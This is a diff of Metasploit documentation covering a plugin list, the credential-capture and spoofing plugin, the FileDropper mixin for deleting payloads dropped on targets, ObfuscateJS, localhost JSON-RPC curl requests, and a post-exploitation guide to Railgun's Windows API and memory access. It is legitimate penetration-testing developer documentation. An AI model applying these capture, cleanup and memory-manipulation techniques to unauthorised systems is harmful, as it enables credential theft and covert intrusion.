| auto_add_route | Adds routes for any new subnets whenever a session opens |
|
||||
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
|
||||
| besecure | Integrates with the beSECURE - open source vulnerability management |
|
||||
| capture | Start all credential capture and spoofing services |
|
||||
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
|
||||
| db_tracker | Monitors socket calls and updates the database backend |
|
||||
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
|
||||
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
|
||||
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
|
||||
| lab | Adds the ability to manage VMs |
|
||||
| libnotify | Send desktop notification with libnotify on sessions and db events |
|
||||
| msfd | Provides a console interface to users over a listening TCP port |
|
||||
| msgrpc | Provides a MessagePack interface over HTTP |
|
||||
| nessus | Nessus Bridge for Metasploit |
|
||||
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
|
||||
| openvas | Integrates with the OpenVAS - open source vulnerability management |
|
||||
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
|
||||
| request | Make requests from within Metasploit using various protocols. |
|
||||
| rssfeed | Create an RSS feed of events |
|
||||
| sample | Demonstrates using framework plugins |
|
||||
| session_notifier | This plugin notifies you of a new session via SMS |
|
||||
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
|
||||
| socket_logger | Log socket operations to a directory as individual files |
|
||||
| sounds | Automatically plays a sound when various framework events occur |
|
||||
| sqlmap | sqlmap plugin for Metasploit |
|
||||
| thread | Internal test tool for testing thread usage in Metasploit |
|
||||
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
|
||||
| token_hunter | Search all active Meterpreter sessions for specific tokens |
|
||||
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
|
||||
| wmap | Web assessment plugin |
|
||||
|
||||
## Examples
|
||||
|
||||
### Alias Plugin
|
||||
|
||||
The Alias plugin adds the ability to alias console commands:
|
||||
|
||||
```msf
|
||||
msf6 > load alias
|
||||
[*] Successfully loaded plugin: alias
|
||||
msf6 > alias -h
|
||||
Usage: alias [options] [name [value]]
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-c Clear an alias (* to clear all).
|
||||
-f Force an alias assignment.
|
||||
-h Help banner.
|
||||
```
|
||||
|
||||
Register an alias such as `proxy_enable`:
|
||||
|
||||
```msf
|
||||
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
|
||||
```
|
||||
|
||||
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/title) > proxy_enable
|
||||
Proxies => http:localhost:8079
|
||||
```
|
||||
|
||||
Viewing registered aliases:
|
||||
|
||||
```msf
|
||||
msf6 > alias
|
||||
|
||||
Current Aliases
|
||||
===============
|
||||
|
||||
Alias Name Alias Value
|
||||
---------- -----------
|
||||
alias proxy_enable set Proxies http:localhost:8079
|
||||
|
||||
```
|
||||
|
||||
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
|
||||
|
||||
```
|
||||
load alias
|
||||
alias proxy_enable "set Proxies http:localhost:8079"
|
||||
alias proxy_disable "unset Proxies"
|
||||
alias routes "route print"
|
||||
```
|
||||
|
||||
### Capture Plugin
|
||||
|
||||
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
|
||||
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
|
||||
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
|
||||
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
|
||||
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
|
||||
using a single command.
|
||||
|
||||
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
|
||||
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
|
||||
|
||||
```msf
|
||||
msf6 > load capture
|
||||
[*] Successfully loaded plugin: Credential Capture
|
||||
msf6 > captureg start --ip 192.168.159.128
|
||||
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
|
||||
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
|
||||
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
|
||||
[+] Authentication Capture: FTP started
|
||||
[+] HTTP Client MS Credential Catcher started
|
||||
[+] HTTP Client MS Credential Catcher started
|
||||
[+] Authentication Capture: IMAP started
|
||||
[+] Authentication Capture: MSSQL started
|
||||
[+] Authentication Capture: MySQL started
|
||||
[+] Authentication Capture: POP3 started
|
||||
[+] Authentication Capture: PostgreSQL started
|
||||
[+] Printjob Capture Service started
|
||||
[+] Authentication Capture: SIP started
|
||||
[+] Authentication Capture: SMB started
|
||||
[+] Authentication Capture: SMTP started
|
||||
[+] Authentication Capture: Telnet started
|
||||
[+] Authentication Capture: VNC started
|
||||
[+] Authentication Capture: FTP started
|
||||
[+] Authentication Capture: IMAP started
|
||||
[+] Authentication Capture: POP3 started
|
||||
[+] Authentication Capture: SMTP started
|
||||
[+] NetBIOS Name Service Spoofer started
|
||||
[+] LLMNR Spoofer started
|
||||
[+] mDNS Spoofer started
|
||||
[+] Started capture jobs
|
||||
msf6 >
|
||||
```
|
||||
|
||||
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
|
||||
@@ -1,38 +0,0 @@
|
||||
## On this page
|
||||
|
||||
* [Examples](#examples)
|
||||
* [Reference](#reference)
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
## Examples
|
||||
|
||||
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
|
||||
|
||||
## Reference
|
||||
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
|
||||
@@ -0,0 +1,86 @@
|
||||
## On this page
|
||||
|
||||
* [Cleanup method](#cleanup-method)
|
||||
* [FileDropper Mixin](#filedropper-mixin)
|
||||
|
||||
## Cleanup method
|
||||
|
||||
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
|
||||
|
||||
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
|
||||
|
||||
Here is an example that restores a configuration file after being deleted by the module:
|
||||
```ruby
|
||||
def cleanup
|
||||
unless self.conf_content.nil?
|
||||
write_file(self.conf_file, self.conf_content)
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
```
|
||||
|
||||
Here is another example of a `cleanup` method that deletes a temporary Git repository:
|
||||
```ruby
|
||||
def cleanup
|
||||
super
|
||||
return unless need_cleanup?
|
||||
|
||||
print_status('Cleaning up')
|
||||
uri = normalize_uri(datastore['USERNAME'], self.repo_name, '/settings')
|
||||
csrf = get_csrf(uri)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], uri),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
_csrf: csrf,
|
||||
action: 'delete',
|
||||
repo_name: self.repo_name
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
|
||||
end
|
||||
|
||||
unless res.code == 302
|
||||
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
|
||||
end
|
||||
|
||||
print_status("Repository #{self.repo_name} deleted.")
|
||||
|
||||
nil
|
||||
end
|
||||
```
|
||||
|
||||
## FileDropper Mixin
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in `C:\Windows\System32\`, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses `on_new_session`, you are actually overriding FileDropper's `on_new_session`.
|
||||
|
||||
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
|
||||
session.inspect
|
||||
```
|
||||
|
||||
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
|
||||
```ruby
|
||||
unless session.platform == 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
```
|
||||
|
||||
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
|
||||
|
||||
### The Msf::Post Mixin
|
||||
|
||||
+2
-2
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
|
||||
|
||||
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
|
||||
|
||||
```
|
||||
```ruby
|
||||
def elog(msg, src = 'core', level = 0, from = caller)
|
||||
```
|
||||
|
||||
|
||||
@@ -50,7 +50,7 @@ And then you are ready to go.
|
||||
|
||||
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
|
||||
|
||||
```
|
||||
```ruby
|
||||
js = %Q|
|
||||
var arrr = new Array();
|
||||
arrr[0] = windows.document.createElement("img");
|
||||
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
|
||||
|
||||
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
|
||||
|
||||
```
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
|
||||
|
||||
And here's the output:
|
||||
|
||||
```
|
||||
```javascript
|
||||
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
|
||||
```
|
||||
|
||||
|
||||
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -118,7 +118,7 @@ Response:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -155,7 +155,7 @@ Response:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'content-type: application/json' \
|
||||
@@ -185,7 +185,7 @@ Response:
|
||||
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
|
||||
auxiliary module against a target. For instance, with an Auxiliary module check request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -205,7 +205,7 @@ curl --request POST \
|
||||
|
||||
Or an Exploit module check request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'content-type: application/json' \
|
||||
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -445,7 +445,7 @@ curl --request POST \
|
||||
|
||||
Run the analyze command:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Authorization: Bearer ' \
|
||||
@@ -491,7 +491,7 @@ Response:
|
||||
|
||||
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Authorization: Bearer ' \
|
||||
|
||||
+54
-39
@@ -1,8 +1,8 @@
|
||||
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
|
||||
### Defining a DLL and its functions
|
||||
## Defining a DLL and its functions
|
||||
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
|
||||
|
||||
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
|
||||
|
||||
@@ -16,16 +16,16 @@ module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_somedll
|
||||
class Def_windows_somedll
|
||||
|
||||
def self.create_dll(dll_path = 'somedll')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
def self.create_library(constant_manager, dll_path = 'somedll')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
|
||||
# 1st argument = Name of the function
|
||||
# 2nd argument = Return value's data type
|
||||
# 3rd argument = An array of parameters
|
||||
dll.add_function('SomeFunction', 'DWORD',[
|
||||
["DWORD","hwnd","in"]
|
||||
['DWORD','hwnd','in']
|
||||
])
|
||||
|
||||
return dll
|
||||
@@ -36,32 +36,34 @@ end
|
||||
end; end; end; end; end; end; end
|
||||
```
|
||||
|
||||
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
|
||||
In function definitions, Railgun supports these data types: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
|
||||
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
|
||||
|
||||
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
|
||||
|
||||
A quick way to define a new function at runtime can be done like the following example:
|
||||
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
|
||||
|
||||
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
|
||||
|
||||
```ruby
|
||||
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
|
||||
["DWORD","hWnd","in"],
|
||||
["PCHAR","lpText","in"],
|
||||
["PCHAR","lpCaption","in"],
|
||||
["DWORD","uType","in"]
|
||||
['DWORD','hWnd','in'],
|
||||
['PCHAR','lpText','in'],
|
||||
['PCHAR','lpCaption','in'],
|
||||
['DWORD','uType','in']
|
||||
])
|
||||
```
|
||||
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
|
||||
|
||||
### Usage
|
||||
## Usage
|
||||
|
||||
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
|
||||
|
||||
```
|
||||
```msf
|
||||
$ msfconsole -q
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > run
|
||||
@@ -72,70 +74,81 @@ msf exploit(handler) > run
|
||||
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
|
||||
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in the "client" (session) object
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
|
||||
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
|
||||
|
||||
```ruby
|
||||
session.railgun
|
||||
railgun
|
||||
```
|
||||
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
|
||||
|
||||
```
|
||||
>> session.railgun.known_dll_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
|
||||
>> railgun.known_library_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version", "psapi", "dbghelp", "winspool", "spoolss"]
|
||||
```
|
||||
|
||||
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
|
||||
|
||||
```ruby
|
||||
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
```
|
||||
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
|
||||
|
||||
To call a Windows API function, here's how:
|
||||
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
|
||||
|
||||
```
|
||||
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
>> railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
|
||||
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
|
||||
|
||||
### Memory Reading and Writing
|
||||
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
|
||||
|
||||
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
## Memory Reading and Writing
|
||||
|
||||
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
|
||||
```
|
||||
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
|
||||
>> p.memory.allocate(1024)
|
||||
>> address = process.memory.allocate(1024)
|
||||
=> 5898240
|
||||
```
|
||||
|
||||
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
|
||||
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
|
||||
|
||||
```
|
||||
>> session.railgun.memwrite(5898240, "AAAA", 4)
|
||||
>> railgun.memwrite(address, "AAAA\x00".b)
|
||||
=> true
|
||||
```
|
||||
|
||||
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
|
||||
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
|
||||
|
||||
```
|
||||
>> session.railgun.memread(5898240, 4)
|
||||
>> railgun.memread(address, 4)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
|
||||
|
||||
### References:
|
||||
### Reading and Writing Strings
|
||||
|
||||
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
|
||||
|
||||
```
|
||||
>> railgun.util.read_string(address)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
## References:
|
||||
|
||||
- <https://www.youtube.com/watch?v=AniR-T0AnnI>
|
||||
- <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>
|
||||
@@ -144,3 +157,5 @@ Be aware that if you supply a bad pointer, you can cause an access violation and
|
||||
- <http://msdn.microsoft.com/en-us/library/aa383749>
|
||||
- <http://undocumented.ntinternals.net/>
|
||||
- <http://source.winehq.org/WineAPI/>
|
||||
|
||||
